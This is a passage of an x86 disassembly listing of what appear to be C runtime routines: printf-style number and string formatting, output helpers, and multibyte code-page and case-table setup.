		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBF0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF80
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF8C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF84
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBF0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCDA4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CC00


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCF0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28B0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		cmp	[ebp+var_18], 1
		mov	dword_4DCDA4, esi
		rep stosd
		stosb
		mov	dword_4DCFC4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEC1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CC10[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBF8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEC1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCDBC, 1
		push	eax
		mov	dword_4DCDA4, eax
		call	sub_42008C
		lea	esi, dword_43CC04[esi]
		mov	edi, offset dword_4DCDB0
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFC4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEC1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFC4, eax
		mov	dword_4DCDBC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCDBC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9E0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9E0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9E0, 1
		nop
		jmp	near ptr 26608C7h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9E0, 1
		jmp	near ptr 28B07E3h
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DBA24
		mov	dword_4DB9E0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEC0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		mov	dword_4DCDA4, eax
		mov	dword_4DCDBC, eax
		mov	dword_4DCFC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCDA4
		nop
		call	near ptr 28B0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFC4
		push	dword_4DCDA4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFC4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFC4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEC1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDC0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEC1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDC0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEC1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDC0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEC1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDC0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFF4, 0
